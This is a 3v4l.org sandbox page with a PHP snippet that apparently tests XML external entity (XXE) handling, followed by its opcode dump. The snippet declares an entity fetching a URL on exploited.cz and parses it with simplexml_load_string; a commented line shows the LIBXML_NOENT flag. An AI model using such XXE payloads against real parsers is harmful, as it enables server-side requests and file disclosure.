3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xml = <<<EOT <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://exploited.cz/robots.txt">]> <foo>&xxe;</foo> EOT; $x = simplexml_load_string($xml); // $x = simplexml_load_string($xml, null, LIBXML_NOENT); var_dump((string)$x);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/54Xap
function name:  (null)
number of ops:  10
compiled vars:  !0 = $xml, !1 = $x
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, '%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE+test+%5B%3C%21ENTITY+xxe+SYSTEM+%22http%3A%2F%2Fexploited.cz%2Frobots.txt%22%3E%5D%3E%0A%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E'
    7     1        INIT_FCALL                                               'simplexml_load_string'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !1, $3
    9     5        INIT_FCALL                                               'var_dump'
          6        CAST                                          6  ~5      !1
          7        SEND_VAL                                                 ~5
          8        DO_ICALL                                                 
          9      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
142.98 ms | 1394 KiB | 17 Q